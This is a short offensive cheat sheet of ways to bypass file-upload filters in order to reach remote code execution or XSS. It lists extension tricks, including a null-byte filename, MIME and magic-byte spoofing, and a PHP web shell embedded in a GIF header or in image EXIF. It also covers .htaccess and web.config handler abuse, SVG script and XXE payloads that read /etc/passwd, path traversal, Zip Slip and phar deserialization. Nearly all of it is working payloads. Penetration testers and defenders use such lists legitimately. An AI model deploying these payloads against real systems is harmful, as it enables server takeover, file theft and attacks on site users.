Bypass file-upload restrictions to reach RCE/XSS — extension and MIME/magic-byte tricks, .htaccess/web.config abuse, SVG/HTML/XXE uploads, path traversal and parser/deserialization bugs.
shell.php.jpg
shell.pHp
shell.phtml
shell.php5
shell.phar
shell.php%00.jpg
shell.php.
shell.asp;.jpg
Content-Type: image/jpeg
GIF89a;<?php system($_GET[0]);?>
exiftool -Comment='<?php system($_GET[0]);?>' image.jpg
prepend \xFF\xD8\xFF before <?php ... ?>
.htaccess -> AddType application/x-httpd-php .jpg
.htaccess -> php_value auto_prepend_file shell.gif
web.config -> add ASP/ASPX handler
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<svg><script>alert(1)</script></svg>
<!DOCTYPE svg [<!ENTITY x SYSTEM "file:///etc/passwd">]><svg>&x;</svg>
shell.html containing <script>...</script>
../../../var/www/html/shell.php
archive with ../../shell.php (Zip Slip)
filename=config.php
phar://uploaded.phar/x
malicious.gif (ImageMagick MSL / Ghostscript)